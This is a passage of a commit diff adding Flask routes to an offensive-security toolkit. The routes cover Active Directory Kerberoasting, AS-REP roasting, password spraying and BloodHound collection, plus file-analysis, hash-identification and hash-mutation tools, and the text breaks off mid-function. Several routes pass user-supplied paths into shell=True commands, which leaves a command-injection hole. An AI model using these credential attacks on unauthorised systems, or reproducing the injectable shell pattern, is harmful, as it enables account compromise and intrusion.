Autarch Will Control The Internet
This commit is contained in:
0
web/routes/__init__.py
Normal file
0
web/routes/__init__.py
Normal file
190
web/routes/ad_audit.py
Normal file
190
web/routes/ad_audit.py
Normal file
@@ -0,0 +1,190 @@
|
||||
"""Active Directory Audit routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
ad_audit_bp = Blueprint('ad_audit', __name__, url_prefix='/ad-audit')
|
||||
|
||||
|
||||
def _get_ad():
|
||||
from modules.ad_audit import get_ad_audit
|
||||
return get_ad_audit()
|
||||
|
||||
|
||||
@ad_audit_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('ad_audit.html')
|
||||
|
||||
|
||||
@ad_audit_bp.route('/connect', methods=['POST'])
|
||||
@login_required
|
||||
def connect():
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host', '').strip()
|
||||
domain = data.get('domain', '').strip()
|
||||
username = data.get('username', '').strip() or None
|
||||
password = data.get('password', '') or None
|
||||
use_ssl = bool(data.get('ssl', False))
|
||||
if not host or not domain:
|
||||
return jsonify({'success': False, 'message': 'DC host and domain are required'}), 400
|
||||
return jsonify(_get_ad().connect(host, domain, username, password, use_ssl))
|
||||
|
||||
|
||||
@ad_audit_bp.route('/disconnect', methods=['POST'])
|
||||
@login_required
|
||||
def disconnect():
|
||||
return jsonify(_get_ad().disconnect())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
return jsonify(_get_ad().get_connection_info())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/users')
|
||||
@login_required
|
||||
def users():
|
||||
search_filter = request.args.get('filter')
|
||||
return jsonify(_get_ad().enumerate_users(search_filter))
|
||||
|
||||
|
||||
@ad_audit_bp.route('/groups')
|
||||
@login_required
|
||||
def groups():
|
||||
search_filter = request.args.get('filter')
|
||||
return jsonify(_get_ad().enumerate_groups(search_filter))
|
||||
|
||||
|
||||
@ad_audit_bp.route('/computers')
|
||||
@login_required
|
||||
def computers():
|
||||
return jsonify(_get_ad().enumerate_computers())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/ous')
|
||||
@login_required
|
||||
def ous():
|
||||
return jsonify(_get_ad().enumerate_ous())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/gpos')
|
||||
@login_required
|
||||
def gpos():
|
||||
return jsonify(_get_ad().enumerate_gpos())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/trusts')
|
||||
@login_required
|
||||
def trusts():
|
||||
return jsonify(_get_ad().enumerate_trusts())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/dcs')
|
||||
@login_required
|
||||
def dcs():
|
||||
return jsonify(_get_ad().find_dcs())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/kerberoast', methods=['POST'])
|
||||
@login_required
|
||||
def kerberoast():
|
||||
data = request.get_json(silent=True) or {}
|
||||
ad = _get_ad()
|
||||
host = data.get('host', '').strip() or ad.dc_host
|
||||
domain = data.get('domain', '').strip() or ad.domain
|
||||
username = data.get('username', '').strip() or ad.username
|
||||
password = data.get('password', '') or ad.password
|
||||
if not all([host, domain, username, password]):
|
||||
return jsonify({'error': 'Host, domain, username, and password are required'}), 400
|
||||
return jsonify(ad.kerberoast(host, domain, username, password))
|
||||
|
||||
|
||||
@ad_audit_bp.route('/asrep', methods=['POST'])
|
||||
@login_required
|
||||
def asrep():
|
||||
data = request.get_json(silent=True) or {}
|
||||
ad = _get_ad()
|
||||
host = data.get('host', '').strip() or ad.dc_host
|
||||
domain = data.get('domain', '').strip() or ad.domain
|
||||
userlist = data.get('userlist')
|
||||
if isinstance(userlist, str):
|
||||
userlist = [u.strip() for u in userlist.split(',') if u.strip()]
|
||||
if not host or not domain:
|
||||
return jsonify({'error': 'Host and domain are required'}), 400
|
||||
return jsonify(ad.asrep_roast(host, domain, userlist or None))
|
||||
|
||||
|
||||
@ad_audit_bp.route('/spray', methods=['POST'])
|
||||
@login_required
|
||||
def spray():
|
||||
data = request.get_json(silent=True) or {}
|
||||
ad = _get_ad()
|
||||
userlist = data.get('userlist', [])
|
||||
if isinstance(userlist, str):
|
||||
userlist = [u.strip() for u in userlist.split('\n') if u.strip()]
|
||||
password = data.get('password', '')
|
||||
host = data.get('host', '').strip() or ad.dc_host
|
||||
domain = data.get('domain', '').strip() or ad.domain
|
||||
protocol = data.get('protocol', 'ldap')
|
||||
if not userlist or not password or not host or not domain:
|
||||
return jsonify({'error': 'User list, password, host, and domain are required'}), 400
|
||||
return jsonify(ad.password_spray(userlist, password, host, domain, protocol))
|
||||
|
||||
|
||||
@ad_audit_bp.route('/acls')
|
||||
@login_required
|
||||
def acls():
|
||||
target_dn = request.args.get('target_dn')
|
||||
return jsonify(_get_ad().analyze_acls(target_dn))
|
||||
|
||||
|
||||
@ad_audit_bp.route('/admins')
|
||||
@login_required
|
||||
def admins():
|
||||
return jsonify(_get_ad().find_admin_accounts())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/spn-accounts')
|
||||
@login_required
|
||||
def spn_accounts():
|
||||
return jsonify(_get_ad().find_spn_accounts())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/asrep-accounts')
|
||||
@login_required
|
||||
def asrep_accounts():
|
||||
return jsonify(_get_ad().find_asrep_accounts())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/unconstrained')
|
||||
@login_required
|
||||
def unconstrained():
|
||||
return jsonify(_get_ad().find_unconstrained_delegation())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/constrained')
|
||||
@login_required
|
||||
def constrained():
|
||||
return jsonify(_get_ad().find_constrained_delegation())
|
||||
|
||||
|
||||
@ad_audit_bp.route('/bloodhound', methods=['POST'])
|
||||
@login_required
|
||||
def bloodhound():
|
||||
data = request.get_json(silent=True) or {}
|
||||
ad = _get_ad()
|
||||
host = data.get('host', '').strip() or ad.dc_host
|
||||
domain = data.get('domain', '').strip() or ad.domain
|
||||
username = data.get('username', '').strip() or ad.username
|
||||
password = data.get('password', '') or ad.password
|
||||
if not all([host, domain, username, password]):
|
||||
return jsonify({'error': 'Host, domain, username, and password are required'}), 400
|
||||
return jsonify(ad.bloodhound_collect(host, domain, username, password))
|
||||
|
||||
|
||||
@ad_audit_bp.route('/export')
|
||||
@login_required
|
||||
def export():
|
||||
fmt = request.args.get('format', 'json')
|
||||
return jsonify(_get_ad().export_results(fmt))
|
||||
563
web/routes/analyze.py
Normal file
563
web/routes/analyze.py
Normal file
@@ -0,0 +1,563 @@
|
||||
"""Analyze category route - file analysis, strings, hashes, log analysis, hex dump, compare."""
|
||||
|
||||
import os
|
||||
import re
|
||||
import zlib
|
||||
import hashlib
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
from collections import Counter
|
||||
from flask import Blueprint, render_template, request, jsonify
|
||||
from web.auth import login_required
|
||||
|
||||
analyze_bp = Blueprint('analyze', __name__, url_prefix='/analyze')
|
||||
|
||||
|
||||
def _run_cmd(cmd, timeout=60):
|
||||
try:
|
||||
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
|
||||
return result.returncode == 0, result.stdout.strip()
|
||||
except Exception:
|
||||
return False, ""
|
||||
|
||||
|
||||
def _validate_path(filepath):
|
||||
"""Validate and resolve a file path. Returns (Path, error_string)."""
|
||||
if not filepath:
|
||||
return None, 'No file path provided'
|
||||
p = Path(filepath).expanduser()
|
||||
if not p.exists():
|
||||
return None, f'File not found: {filepath}'
|
||||
if not p.is_file():
|
||||
return None, f'Not a file: {filepath}'
|
||||
return p, None
|
||||
|
||||
|
||||
# ── Hash algorithm identification patterns ────────────────────────────
|
||||
HASH_PATTERNS = [
|
||||
# Simple hex hashes by length
|
||||
{'name': 'CRC16', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{4}$', 'desc': '16-bit CRC'},
|
||||
{'name': 'CRC32', 'hashcat': 11500, 'regex': r'^[a-fA-F0-9]{8}$', 'desc': '32-bit CRC checksum'},
|
||||
{'name': 'Adler32', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{8}$', 'desc': 'Adler-32 checksum'},
|
||||
{'name': 'MySQL323', 'hashcat': 200, 'regex': r'^[a-fA-F0-9]{16}$', 'desc': 'MySQL v3.23 (OLD_PASSWORD)'},
|
||||
{'name': 'MD2', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD2 (128-bit, obsolete)'},
|
||||
{'name': 'MD4', 'hashcat': 900, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD4 (128-bit, broken)'},
|
||||
{'name': 'MD5', 'hashcat': 0, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD5 (128-bit)'},
|
||||
{'name': 'NTLM', 'hashcat': 1000, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'NTLM (Windows, 128-bit)'},
|
||||
{'name': 'LM', 'hashcat': 3000, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'LAN Manager hash'},
|
||||
{'name': 'RIPEMD-160', 'hashcat': 6000, 'regex': r'^[a-fA-F0-9]{40}$', 'desc': 'RIPEMD-160 (160-bit)'},
|
||||
{'name': 'SHA-1', 'hashcat': 100, 'regex': r'^[a-fA-F0-9]{40}$', 'desc': 'SHA-1 (160-bit, deprecated)'},
|
||||
{'name': 'Tiger-192', 'hashcat': 10000, 'regex': r'^[a-fA-F0-9]{48}$', 'desc': 'Tiger (192-bit)'},
|
||||
{'name': 'SHA-224', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{56}$', 'desc': 'SHA-224 (224-bit)'},
|
||||
{'name': 'SHA-256', 'hashcat': 1400, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'SHA-256 (256-bit)'},
|
||||
{'name': 'BLAKE2s-256', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'BLAKE2s (256-bit)'},
|
||||
{'name': 'Keccak-256', 'hashcat': 17800, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'Keccak-256'},
|
||||
{'name': 'SHA3-256', 'hashcat': 17400, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'SHA3-256'},
|
||||
{'name': 'SHA-384', 'hashcat': 10800, 'regex': r'^[a-fA-F0-9]{96}$', 'desc': 'SHA-384 (384-bit)'},
|
||||
{'name': 'SHA3-384', 'hashcat': 17500, 'regex': r'^[a-fA-F0-9]{96}$', 'desc': 'SHA3-384'},
|
||||
{'name': 'SHA-512', 'hashcat': 1700, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'SHA-512 (512-bit)'},
|
||||
{'name': 'SHA3-512', 'hashcat': 17600, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'SHA3-512'},
|
||||
{'name': 'BLAKE2b-512', 'hashcat': 600, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'BLAKE2b (512-bit)'},
|
||||
{'name': 'Keccak-512', 'hashcat': 18000, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'Keccak-512'},
|
||||
{'name': 'Whirlpool', 'hashcat': 6100, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'Whirlpool (512-bit)'},
|
||||
# Structured / prefixed formats
|
||||
{'name': 'MySQL41', 'hashcat': 300, 'regex': r'^\*[a-fA-F0-9]{40}$', 'desc': 'MySQL v4.1+ (SHA1)'},
|
||||
{'name': 'bcrypt', 'hashcat': 3200, 'regex': r'^\$2[aby]?\$\d{2}\$.{53}$', 'desc': 'bcrypt (Blowfish)'},
|
||||
{'name': 'MD5 Unix (crypt)', 'hashcat': 500, 'regex': r'^\$1\$.{0,8}\$[a-zA-Z0-9/.]{22}$', 'desc': 'MD5 Unix crypt ($1$)'},
|
||||
{'name': 'SHA-256 Unix (crypt)', 'hashcat': 7400, 'regex': r'^\$5\$(rounds=\d+\$)?[a-zA-Z0-9/.]{0,16}\$[a-zA-Z0-9/.]{43}$', 'desc': 'SHA-256 Unix crypt ($5$)'},
|
||||
{'name': 'SHA-512 Unix (crypt)', 'hashcat': 1800, 'regex': r'^\$6\$(rounds=\d+\$)?[a-zA-Z0-9/.]{0,16}\$[a-zA-Z0-9/.]{86}$', 'desc': 'SHA-512 Unix crypt ($6$)'},
|
||||
{'name': 'scrypt', 'hashcat': None, 'regex': r'^\$scrypt\$', 'desc': 'scrypt KDF'},
|
||||
{'name': 'Argon2', 'hashcat': None, 'regex': r'^\$argon2(i|d|id)\$', 'desc': 'Argon2 (i/d/id)'},
|
||||
{'name': 'PBKDF2-SHA256', 'hashcat': 10900, 'regex': r'^\$pbkdf2-sha256\$', 'desc': 'PBKDF2-HMAC-SHA256'},
|
||||
{'name': 'PBKDF2-SHA1', 'hashcat': None, 'regex': r'^\$pbkdf2\$', 'desc': 'PBKDF2-HMAC-SHA1'},
|
||||
{'name': 'Cisco Type 5', 'hashcat': 500, 'regex': r'^\$1\$[a-zA-Z0-9/.]{0,8}\$[a-zA-Z0-9/.]{22}$', 'desc': 'Cisco IOS Type 5 (MD5)'},
|
||||
{'name': 'Cisco Type 8', 'hashcat': 9200, 'regex': r'^\$8\$[a-zA-Z0-9/.]{14}\$[a-zA-Z0-9/.]{43}$', 'desc': 'Cisco Type 8 (PBKDF2-SHA256)'},
|
||||
{'name': 'Cisco Type 9', 'hashcat': 9300, 'regex': r'^\$9\$[a-zA-Z0-9/.]{14}\$[a-zA-Z0-9/.]{43}$', 'desc': 'Cisco Type 9 (scrypt)'},
|
||||
{'name': 'Django PBKDF2-SHA256', 'hashcat': 10000, 'regex': r'^pbkdf2_sha256\$\d+\$', 'desc': 'Django PBKDF2-SHA256'},
|
||||
{'name': 'WordPress (phpass)', 'hashcat': 400, 'regex': r'^\$P\$[a-zA-Z0-9/.]{31}$', 'desc': 'WordPress / phpBB3 (phpass)'},
|
||||
{'name': 'Drupal7', 'hashcat': 7900, 'regex': r'^\$S\$[a-zA-Z0-9/.]{52}$', 'desc': 'Drupal 7 (SHA-512 iterated)'},
|
||||
# HMAC / salted
|
||||
{'name': 'HMAC-MD5', 'hashcat': 50, 'regex': r'^[a-fA-F0-9]{32}:[a-fA-F0-9]+$', 'desc': 'HMAC-MD5 (hash:salt)'},
|
||||
{'name': 'HMAC-SHA1', 'hashcat': 150, 'regex': r'^[a-fA-F0-9]{40}:[a-fA-F0-9]+$', 'desc': 'HMAC-SHA1 (hash:salt)'},
|
||||
{'name': 'HMAC-SHA256', 'hashcat': 1450, 'regex': r'^[a-fA-F0-9]{64}:[a-fA-F0-9]+$', 'desc': 'HMAC-SHA256 (hash:salt)'},
|
||||
]
|
||||
|
||||
|
||||
def _identify_hash(hash_str):
|
||||
"""Return list of possible hash algorithm matches for the given string."""
|
||||
matches = []
|
||||
for entry in HASH_PATTERNS:
|
||||
if re.match(entry['regex'], hash_str):
|
||||
matches.append({
|
||||
'name': entry['name'],
|
||||
'hashcat': entry.get('hashcat'),
|
||||
'description': entry['desc'],
|
||||
})
|
||||
return matches
|
||||
|
||||
|
||||
@analyze_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
from core.menu import MainMenu
|
||||
menu = MainMenu()
|
||||
menu.load_modules()
|
||||
modules = {k: v for k, v in menu.modules.items() if v.category == 'analyze'}
|
||||
return render_template('analyze.html', modules=modules)
|
||||
|
||||
|
||||
@analyze_bp.route('/file', methods=['POST'])
|
||||
@login_required
|
||||
def analyze_file():
|
||||
"""Analyze a file - metadata, type, hashes."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
filepath = data.get('filepath', '').strip()
|
||||
|
||||
p, err = _validate_path(filepath)
|
||||
if err:
|
||||
return jsonify({'error': err})
|
||||
|
||||
stat = p.stat()
|
||||
|
||||
# File type detection
|
||||
mime_type = ''
|
||||
file_type = ''
|
||||
try:
|
||||
import magic
|
||||
file_magic = magic.Magic(mime=True)
|
||||
mime_type = file_magic.from_file(str(p))
|
||||
file_magic2 = magic.Magic()
|
||||
file_type = file_magic2.from_file(str(p))
|
||||
except Exception:
|
||||
success, output = _run_cmd(f"file '{p}'")
|
||||
if success:
|
||||
file_type = output.split(':', 1)[-1].strip()
|
||||
|
||||
# Hashes
|
||||
hashes = {}
|
||||
try:
|
||||
with open(p, 'rb') as f:
|
||||
content = f.read()
|
||||
hashes['md5'] = hashlib.md5(content).hexdigest()
|
||||
hashes['sha1'] = hashlib.sha1(content).hexdigest()
|
||||
hashes['sha256'] = hashlib.sha256(content).hexdigest()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return jsonify({
|
||||
'path': str(p.absolute()),
|
||||
'size': stat.st_size,
|
||||
'modified': datetime.fromtimestamp(stat.st_mtime).isoformat(),
|
||||
'mime': mime_type,
|
||||
'type': file_type,
|
||||
'hashes': hashes,
|
||||
})
|
||||
|
||||
|
||||
@analyze_bp.route('/strings', methods=['POST'])
|
||||
@login_required
|
||||
def extract_strings():
|
||||
"""Extract strings from a file."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
filepath = data.get('filepath', '').strip()
|
||||
min_len = data.get('min_len', 4)
|
||||
|
||||
p, err = _validate_path(filepath)
|
||||
if err:
|
||||
return jsonify({'error': err})
|
||||
|
||||
min_len = max(2, min(20, int(min_len)))
|
||||
success, output = _run_cmd(f"strings -n {min_len} '{p}' 2>/dev/null")
|
||||
if not success:
|
||||
return jsonify({'error': 'Failed to extract strings'})
|
||||
|
||||
lines = output.split('\n')
|
||||
urls = [l for l in lines if re.search(r'https?://', l)][:20]
|
||||
ips = [l for l in lines if re.search(r'\b\d+\.\d+\.\d+\.\d+\b', l)][:20]
|
||||
emails = [l for l in lines if re.search(r'[\w.-]+@[\w.-]+', l)][:20]
|
||||
paths = [l for l in lines if re.search(r'^/[a-z]', l, re.I)][:20]
|
||||
|
||||
return jsonify({
|
||||
'total': len(lines),
|
||||
'urls': urls,
|
||||
'ips': ips,
|
||||
'emails': emails,
|
||||
'paths': paths,
|
||||
})
|
||||
|
||||
|
||||
@analyze_bp.route('/hash', methods=['POST'])
|
||||
@login_required
|
||||
def hash_lookup():
|
||||
"""Hash lookup - return lookup URLs."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
hash_input = data.get('hash', '').strip()
|
||||
|
||||
if not hash_input:
|
||||
return jsonify({'error': 'No hash provided'})
|
||||
|
||||
hash_len = len(hash_input)
|
||||
if hash_len == 32:
|
||||
hash_type = 'MD5'
|
||||
elif hash_len == 40:
|
||||
hash_type = 'SHA1'
|
||||
elif hash_len == 64:
|
||||
hash_type = 'SHA256'
|
||||
else:
|
||||
return jsonify({'error': 'Invalid hash length (expected MD5/SHA1/SHA256)'})
|
||||
|
||||
return jsonify({
|
||||
'hash_type': hash_type,
|
||||
'links': [
|
||||
{'name': 'VirusTotal', 'url': f'https://www.virustotal.com/gui/file/{hash_input}'},
|
||||
{'name': 'Hybrid Analysis', 'url': f'https://www.hybrid-analysis.com/search?query={hash_input}'},
|
||||
]
|
||||
})
|
||||
|
||||
|
||||
@analyze_bp.route('/log', methods=['POST'])
|
||||
@login_required
|
||||
def analyze_log():
|
||||
"""Analyze a log file."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
filepath = data.get('filepath', '').strip()
|
||||
|
||||
p, err = _validate_path(filepath)
|
||||
if err:
|
||||
return jsonify({'error': err})
|
||||
|
||||
try:
|
||||
with open(p, 'r', errors='ignore') as f:
|
||||
lines = f.readlines()
|
||||
except Exception as e:
|
||||
return jsonify({'error': f'Error reading file: {e}'})
|
||||
|
||||
# Extract IPs
|
||||
all_ips = []
|
||||
for line in lines:
|
||||
found = re.findall(r'\b(\d+\.\d+\.\d+\.\d+)\b', line)
|
||||
all_ips.extend(found)
|
||||
|
||||
ip_counts = Counter(all_ips).most_common(10)
|
||||
|
||||
# Error count
|
||||
errors = [l for l in lines if re.search(r'error|fail|denied|invalid', l, re.I)]
|
||||
|
||||
# Time range
|
||||
timestamps = []
|
||||
for line in lines:
|
||||
match = re.search(r'(\w{3}\s+\d+\s+\d+:\d+:\d+)', line)
|
||||
if match:
|
||||
timestamps.append(match.group(1))
|
||||
|
||||
time_range = None
|
||||
if timestamps:
|
||||
time_range = {'first': timestamps[0], 'last': timestamps[-1]}
|
||||
|
||||
return jsonify({
|
||||
'total_lines': len(lines),
|
||||
'ip_counts': ip_counts,
|
||||
'error_count': len(errors),
|
||||
'time_range': time_range,
|
||||
})
|
||||
|
||||
|
||||
@analyze_bp.route('/hex', methods=['POST'])
|
||||
@login_required
|
||||
def hex_dump():
|
||||
"""Hex dump of a file."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
filepath = data.get('filepath', '').strip()
|
||||
offset = data.get('offset', 0)
|
||||
length = data.get('length', 256)
|
||||
|
||||
p, err = _validate_path(filepath)
|
||||
if err:
|
||||
return jsonify({'error': err})
|
||||
|
||||
offset = max(0, int(offset))
|
||||
length = max(1, min(4096, int(length)))
|
||||
|
||||
try:
|
||||
with open(p, 'rb') as f:
|
||||
f.seek(offset)
|
||||
raw = f.read(length)
|
||||
except Exception as e:
|
||||
return jsonify({'error': f'Error reading file: {e}'})
|
||||
|
||||
lines = []
|
||||
for i in range(0, len(raw), 16):
|
||||
chunk = raw[i:i + 16]
|
||||
hex_part = ' '.join(f'{b:02x}' for b in chunk)
|
||||
ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
|
||||
lines.append(f'{offset + i:08x} {hex_part:<48} {ascii_part}')
|
||||
|
||||
return jsonify({'hex': '\n'.join(lines)})
|
||||
|
||||
|
||||
@analyze_bp.route('/compare', methods=['POST'])
|
||||
@login_required
|
||||
def compare_files():
|
||||
"""Compare two files."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
file1 = data.get('file1', '').strip()
|
||||
file2 = data.get('file2', '').strip()
|
||||
|
||||
p1, err1 = _validate_path(file1)
|
||||
if err1:
|
||||
return jsonify({'error': f'File 1: {err1}'})
|
||||
p2, err2 = _validate_path(file2)
|
||||
if err2:
|
||||
return jsonify({'error': f'File 2: {err2}'})
|
||||
|
||||
s1, s2 = p1.stat().st_size, p2.stat().st_size
|
||||
|
||||
# Hashes
|
||||
def get_hashes(path):
|
||||
with open(path, 'rb') as f:
|
||||
content = f.read()
|
||||
return {
|
||||
'md5': hashlib.md5(content).hexdigest(),
|
||||
'sha256': hashlib.sha256(content).hexdigest(),
|
||||
}
|
||||
|
||||
h1 = get_hashes(p1)
|
||||
h2 = get_hashes(p2)
|
||||
|
||||
# Diff
|
||||
diff_text = ''
|
||||
if h1['sha256'] != h2['sha256']:
|
||||
success, output = _run_cmd(f"diff '{p1}' '{p2}' 2>/dev/null | head -30")
|
||||
if success:
|
||||
diff_text = output
|
||||
|
||||
return jsonify({
|
||||
'file1_size': s1,
|
||||
'file2_size': s2,
|
||||
'size_diff': abs(s1 - s2),
|
||||
'md5_match': h1['md5'] == h2['md5'],
|
||||
'sha256_match': h1['sha256'] == h2['sha256'],
|
||||
'diff': diff_text,
|
||||
})
|
||||
|
||||
|
||||
# ── Hash Toolkit routes ──────────────────────────────────────────────
|
||||
|
||||
@analyze_bp.route('/hash-detection')
|
||||
@login_required
|
||||
def hash_detection():
|
||||
"""Hash Toolkit page."""
|
||||
return render_template('hash_detection.html')
|
||||
|
||||
|
||||
@analyze_bp.route('/hash-detection/identify', methods=['POST'])
|
||||
@login_required
|
||||
def hash_identify():
|
||||
"""Identify possible hash algorithms for a given string."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
hash_input = data.get('hash', '').strip()
|
||||
if not hash_input:
|
||||
return jsonify({'error': 'No hash string provided'})
|
||||
|
||||
matches = _identify_hash(hash_input)
|
||||
if not matches:
|
||||
return jsonify({
|
||||
'hash': hash_input, 'length': len(hash_input),
|
||||
'matches': [], 'message': 'No matching hash algorithms found',
|
||||
})
|
||||
|
||||
return jsonify({'hash': hash_input, 'length': len(hash_input), 'matches': matches})
|
||||
|
||||
|
||||
@analyze_bp.route('/hash-detection/file', methods=['POST'])
|
||||
@login_required
|
||||
def hash_file():
|
||||
"""Compute multiple hash digests for a file."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
filepath = data.get('filepath', '').strip()
|
||||
|
||||
p, err = _validate_path(filepath)
|
||||
if err:
|
||||
return jsonify({'error': err})
|
||||
|
||||
try:
|
||||
with open(p, 'rb') as f:
|
||||
content = f.read()
|
||||
return jsonify({
|
||||
'path': str(p.absolute()),
|
||||
'size': len(content),
|
||||
'hashes': {
|
||||
'crc32': format(zlib.crc32(content) & 0xffffffff, '08x'),
|
||||
'md5': hashlib.md5(content).hexdigest(),
|
||||
'sha1': hashlib.sha1(content).hexdigest(),
|
||||
'sha256': hashlib.sha256(content).hexdigest(),
|
||||
'sha512': hashlib.sha512(content).hexdigest(),
|
||||
},
|
||||
})
|
||||
except Exception as e:
|
||||
return jsonify({'error': f'Error reading file: {e}'})
|
||||
|
||||
|
||||
@analyze_bp.route('/hash-detection/text', methods=['POST'])
|
||||
@login_required
|
||||
def hash_text():
|
||||
"""Hash arbitrary text with a selectable algorithm."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
text = data.get('text', '')
|
||||
algorithm = data.get('algorithm', 'sha256').lower().strip()
|
||||
|
||||
if not text:
|
||||
return jsonify({'error': 'No text provided'})
|
||||
|
||||
text_bytes = text.encode('utf-8')
|
||||
|
||||
algo_map = {
|
||||
'md5': lambda b: hashlib.md5(b).hexdigest(),
|
||||
'sha1': lambda b: hashlib.sha1(b).hexdigest(),
|
||||
'sha224': lambda b: hashlib.sha224(b).hexdigest(),
|
||||
'sha256': lambda b: hashlib.sha256(b).hexdigest(),
|
||||
'sha384': lambda b: hashlib.sha384(b).hexdigest(),
|
||||
'sha512': lambda b: hashlib.sha512(b).hexdigest(),
|
||||
'sha3-256': lambda b: hashlib.sha3_256(b).hexdigest(),
|
||||
'sha3-512': lambda b: hashlib.sha3_512(b).hexdigest(),
|
||||
'blake2b': lambda b: hashlib.blake2b(b).hexdigest(),
|
||||
'blake2s': lambda b: hashlib.blake2s(b).hexdigest(),
|
||||
'crc32': lambda b: format(zlib.crc32(b) & 0xffffffff, '08x'),
|
||||
}
|
||||
|
||||
if algorithm == 'all':
|
||||
results = {}
|
||||
for name, fn in algo_map.items():
|
||||
try:
|
||||
results[name] = fn(text_bytes)
|
||||
except Exception:
|
||||
results[name] = '(not available)'
|
||||
return jsonify({'text_length': len(text), 'algorithm': 'all', 'hashes': results})
|
||||
|
||||
fn = algo_map.get(algorithm)
|
||||
if not fn:
|
||||
return jsonify({'error': f'Unknown algorithm: {algorithm}. Available: {", ".join(sorted(algo_map.keys()))}'})
|
||||
|
||||
return jsonify({'text_length': len(text), 'algorithm': algorithm, 'hash': fn(text_bytes)})
|
||||
|
||||
|
||||
@analyze_bp.route('/hash-detection/mutate', methods=['POST'])
|
||||
@login_required
|
||||
def hash_mutate():
|
||||
"""Change a file's hash by appending bytes to a copy."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
filepath = data.get('filepath', '').strip()
|
||||
method = data.get('method', 'random').strip()
|
||||
num_bytes = data.get('num_bytes', 4)
|
||||
|
||||
p, err = _validate_path(filepath)
|
||||
if err:
|
||||
return jsonify({'error': err})
|
||||
|
||||
num_bytes = max(1, min(1024, int(num_bytes)))
|
||||
|
||||
try:
|
||||
with open(p, 'rb') as f:
|
||||
original = f.read()
|
||||
|
||||
# Compute original hashes
|
||||
orig_hashes = {
|
||||
'md5': hashlib.md5(original).hexdigest(),
|
||||
'sha256': hashlib.sha256(original).hexdigest(),
|
||||
}
|
||||
|
||||
# Generate mutation bytes
|
||||
if method == 'null':
|
||||
extra = b'\x00' * num_bytes
|
||||
elif method == 'space':
|
||||
extra = b'\x20' * num_bytes
|
||||
elif method == 'newline':
|
||||
extra = b'\n' * num_bytes
|
||||
else: # random
|
||||
extra = os.urandom(num_bytes)
|
||||
|
||||
mutated = original + extra
|
||||
|
||||
# Write mutated copy next to original
|
||||
stem = p.stem
|
||||
suffix = p.suffix
|
||||
out_path = p.parent / f'{stem}_mutated{suffix}'
|
||||
with open(out_path, 'wb') as f:
|
||||
f.write(mutated)
|
||||
|
||||
new_hashes = {
|
||||
'md5': hashlib.md5(mutated).hexdigest(),
|
||||
'sha256': hashlib.sha256(mutated).hexdigest(),
|
||||
}
|
||||
|
||||
return jsonify({
|
||||
'original_path': str(p.absolute()),
|
||||
'mutated_path': str(out_path.absolute()),
|
||||
'original_size': len(original),
|
||||
'mutated_size': len(mutated),
|
||||
'bytes_appended': num_bytes,
|
||||
'method': method,
|
||||
'original_hashes': orig_hashes,
|
||||
'new_hashes': new_hashes,
|
||||
})
|
||||
except Exception as e:
|
||||
return jsonify({'error': f'Mutation failed: {e}'})
|
||||
|
||||
|
||||
@analyze_bp.route('/hash-detection/generate', methods=['POST'])
|
||||
@login_required
|
||||
def hash_generate():
|
||||
"""Create dummy test files with known content and return their hashes."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
output_dir = data.get('output_dir', '/tmp').strip()
|
||||
filename = data.get('filename', 'hashtest').strip()
|
||||
content_type = data.get('content_type', 'random').strip()
|
||||
size = data.get('size', 1024)
|
||||
custom_text = data.get('custom_text', '')
|
||||
|
||||
out_dir = Path(output_dir).expanduser()
|
||||
if not out_dir.exists():
|
||||
return jsonify({'error': f'Directory not found: {output_dir}'})
|
||||
if not out_dir.is_dir():
|
||||
return jsonify({'error': f'Not a directory: {output_dir}'})
|
||||
|
||||
size = max(1, min(10 * 1024 * 1024, int(size))) # cap at 10MB
|
||||
|
||||
# Generate content
|
||||
if content_type == 'zeros':
|
||||
content = b'\x00' * size
|
||||
elif content_type == 'ones':
|
||||
content = b'\xff' * size
|
||||
elif content_type == 'pattern':
|
||||
